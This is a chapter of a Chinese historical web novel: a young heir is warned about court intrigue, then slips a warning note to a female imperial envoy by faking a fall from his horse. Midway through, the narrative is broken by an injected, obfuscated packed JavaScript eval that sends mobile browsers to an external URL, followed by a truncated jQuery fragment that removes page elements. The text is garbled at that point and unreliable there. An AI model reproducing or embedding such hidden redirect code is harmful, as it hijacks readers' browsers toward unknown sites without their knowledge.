汪顺叹口气，指腹轻轻抹去案上的水渍：“清官？你不过见一面，怎得知她秉性如何？再说，杨恕云敢动钦差，必是算准了京中有人兜底。戚夜阑那毒妇献的计……”他顿了顿，喉间溢出冷笑，“说萧荣是女人，便是要往她身上泼最脏的污水。流言杀人不见血，可比拔舌头的驿卒狠多了。”


    茶杯中荡漾的水纹渐渐弥散，映出宫泽尘清晰的脸。他顿悟这杨戚二人的卑劣想法，胸口一紧，难以想象萧荣那副凛厉的尊容如何经住污言秽语的攻击。


    “她不过是一个还没我年长的女子，何故蹚这趟浑水？”他愤愤不平。


    汪顺从怀中掏出半块玉牌，那是宫楚让临行前塞给他的，雕着宫家暗卫的蛇纹。


    “三公子觉得，萧荣为何偏偏此时来查驿站”他摩挲玉牌边缘，“杨家霸占黎国兵权多年，皇上既要杨家守国门，又怕它拥兵自重。萧荣这枚棋子落得妙啊……若她能扳倒杨恕云，便是削了杨家一支爪牙；若不能，也算敲山震虎。”


    宫泽尘怔住，帷帽薄纱被夜风掀起一角：“汪叔是说，皇上故意……”


    “嘘——”汪顺将玉牌按在少年掌心，“意会便好，莫要言明。”


    “可这杨家虽在西北雄踞一方，也没见其做什么出格的事啊，皇上为何要这般敲打啊？”


    汪顺原本是不愿告诉他这些尔虞我诈之事的，但宫家而今已有插手朝廷的苗头，宫泽尘作为宫家嫡子，将来有权接管宫家和岭南，朝廷上的事也该多少了解。


    “杨家早些年靠军功邀赏，尚无野心垄断朝中势力。但近几年，北拓疆域却举步维艰，仗越发难打，军功也就越发难邀。杨家何以巩固势力？只能向朝廷伸手。杨氏一族不单单在西北如日中天，杨肃胞妹杨漫天执掌中宫，嫡长公主昭阳又是储君的第一人选，杨家权柄横贯朝野边关，已是皇权咽喉之刺。”


    宫泽尘的指尖在茶汤表面划开涟漪，倒映的烛火碎成点点金鳞。回想起母亲的劝告，才深切见识到这西北的阴暗面。


    “如此说来，这萧荣是皇权的一枚卒子，杨家若吞了卒子，便要暴露咽喉；若退避三舍，皇家便另遣车马长驱直入。若能攻退杨恕云，萧荣便可全身而退，可若不慎遇险，难保不会沦为皇上与杨家博弈的一枚弃子。”他攥紧拳头，眉头紧蹙。


    汪顺听出这少年话语里对那女官处境的忧虑，深知他正值意气风发之年，唯恐他意气用事。


    他忽地开口，声音低哑如砂纸擦过铁锈，“我可警告你小子，你当萧荣是清官，可这西北的百姓或许正骂她是断人财路的瘟神；你当杨家是恶虎，可满朝武将谁不赞杨肃是护国柱石？”他抬手截住少年欲辩的话头，“我且问你——若萧荣真被构陷，你能如何？是冲到杨恕云府衙前击鼓鸣冤，还是连夜修书求宫家施压？”


    宫泽尘动了动喉结，帷帽薄纱被急促的呼吸掀起涟漪：“至少……至少该提醒萧大人早作防备！”


    “防备？”汪顺短促地笑了一声，“她若连这点算计都防不住，早被朝堂生吞活剥了。倒是你——“他倾身逼近，“西北驿道说到底还在杨家的地盘，你今日救萧荣，明日杨家便能以‘勾结钦差’的罪名断了宫家商路！你爹娘尚在岭南，你二哥就要往端州押粮，宫家上下千百口人，经得起你一时意气？”


    听了汪叔一番话，宫泽尘适才想明白，宫家百年基业，靠的就是谨慎权衡，明哲保身。


    他踉跄跌坐回条凳，帷帽歪斜着露出半张苍白的脸。


    “三公子……”汪顺的语气忽地软下来，枯瘦的手掌覆上少年颤抖的指尖，“你心善，见不得污糟事，这是宫家的福气。可世道容不下赤子心肠，你若非要蹚这浑水——”他喉头滚了滚，终是吐出淬毒的实话，“便先想明白，你救不救得了萧荣，宫家又救不救得了你。”


    汪顺这番话可谓是苦口婆心，他希望宫泽尘这一趟能得到历练，可眼前西北势力错综复杂，也怕他因一时冲动而跌入万劫不复。他轻拍宫泽尘的肩，只愿他能分清利害关系，保全自己。


    夜晚，宫泽尘独卧在客栈顶层的厢房内，墨蓝大氅如垂死的鹤翼摊在枕边。月光从漏窗斜劈进来，将母亲绣的银线鹤喙割成两截。檐角铁马被朔风掀得铮鸣，每一声都像在叩问他胸腔里躁动的骨血。


    指尖无意识地摩挲大氅内衬的棉絮，白日里戚夜阑那句“她是个女人”蛇信般在耳畔游走。


    他忽然想起萧荣策马而来时，箭镞破空的清啸声势能断送那兵卫的小命，可却未舍得伤他们分毫。那样的人若是折在腌臜手段里，实在是天道不公！


    “蠢货。”他对着虚空骂自己，翻身将脸埋进衾被，汪顺入暮时分的话又将他拽回沉重的现实。“可萧荣不是我，她没有醉心楼可躲，没有汪叔拽着衣角规劝。”他辗转反侧，盯着漏窗外的弦月喃喃。


    许是奔波数日，太过疲倦，他思忖着便昏睡过去。


    夜半狂风骤起，窗棂被砂砾击打得噼啪作响。宫泽尘猛地从榻上坐起，冷汗浸透中衣，黏腻地贴在脊背上。


    梦中残像仍在眼前晃动——萧荣官袍染血，被数名蒙面人逼至断崖。她乌纱坠地，赤金面具碎裂，露出半边苍白的面容，唇间呛出的血沫随朔风飞散，而崖下是无尽深渊……


    “萧大人！”他下意识伸手去抓，却只攥住一帐飘摇的纱幔，汪顺的警告与萧荣策马而来的清叱在耳畔交错轰鸣。


    宫泽尘踉跄扑向案几，他抖着手研墨，狼毫笔尖悬在特制的草纸上方挥舞，从小到大一直歪七扭八的字迹此刻却工整如军行。


    “杨戚欲以下作手段构陷，万望警惕。”写罢，他谨慎叠好，静待黎明。


    晨雾未散，宫泽尘裹紧灰布短衫，牵着云啼悄然出城。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152298|164879||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    马鬃上的露水沾湿他袖口，寒意沁入肌理，他却浑不在意，只压低斗笠，反复摩挲云啼耳后绒毛：“好云啼，昨日救你那姑娘有难，我们要去救她，你可千万要带我寻到她。”


    云啼低嘶一声，蹄尖轻刨地面，枯黄草浪间浮着零星冰碴。一人一马在城南野草丛徘徊，同遛马的闲散人家混在一起，未被兵卫发觉异常。


    突然，云啼甩头朝城南野草丛奔去。宫泽尘伏低身子，任由马匹在雾中穿行。


    雾中渐渐看清一行人马，正中间那梳着高马尾的挺拔女子正是萧荣。


    “云啼，你听我的，我们冲上去，不必撞翻他们，只要碰到中间那女子的臂膀便好。”


    宫泽尘猛挥缰绳，只见白影如电，直冲向道中那匹枣黑色骏马。


    萧荣正与张时客并辔而行，忽觉身后劲风袭来，倏地翻身滚鞍，衣袂翻飞间已稳稳落地。


    云啼前蹄高扬，堪堪擦过她马尾，宫泽尘顺势歪斜着摔下马背，蜷在冻土上哀叫：“哎呦！我这老腰……”


    张时客惊魂未定，正欲呵斥，却被萧荣抬手止住。


    她眯眼打量地上灰衣人——斗笠歪斜，露出一截墨蓝衣领，正是昨日那件大氅的内衬。


    “这位公子可要本官替你请郎中？”萧荣抱臂而立，她并未揭穿宫泽尘身份。


    宫泽尘暗怪她不上钩，索性翻身抱住她右腿，手指趁机探向靴筒：“大人马术了得，却害我摔断腿，总得扶一把吧？”他指尖刚触到牛皮革缝，萧荣膝弯陡然发力，将他震开半尺。


    “放肆！”张时客横插一步，腰间佩刀铿然出鞘，“萧大人乃朝廷钦差，岂容你这登徒子纠缠！”


    宫泽尘借势滚到萧荣另一侧，袖中草纸滑入她左靴缝隙，口中仍嚷着：“草民冤枉啊！分明是这马发了癫……”


    萧荣足跟一颤，已觉异样。她垂眸瞥见少年狡黠上扬的眼尾，忽而轻笑：“张大人，此等小事何须动刀？本官瞧他腿脚灵便得很。”说罢翻身上马，扬鞭前意味深长地扫过宫泽尘，“公子若真断了腿，不妨去城西济世堂。那儿的夹板，专治装瘸。”


    张时客狐疑地瞪了宫泽尘一眼，匆匆追着萧荣离去。


    宫泽尘瘫坐在地，掌心冷汗洇湿冻土，望着萧荣远去的背影，嘴角不自觉翘了起来。


    云啼凑过来用湿漉漉的鼻子拱他脖颈，他顺势搂住马脖子低语：“瞧见没？她靴筒抖了半寸，定是瞧见信了！”说完又慌忙捂住嘴，贼兮兮四下张望，生怕被人听去。


    他忽然想起昨夜汪顺的警告，后知后觉打了个激灵，可胸口却怎么也压不住雀跃。抬手摘了斗笠往地上一扣，他歪头对着冰面照了照。倒影里的少年发髻松散，脸上还蹭着泥道子，偏生眉眼亮得惊人。


    “宫三废物？”他戳着冰面嗤笑，“小爷我今日可是救了位青天大老爷！”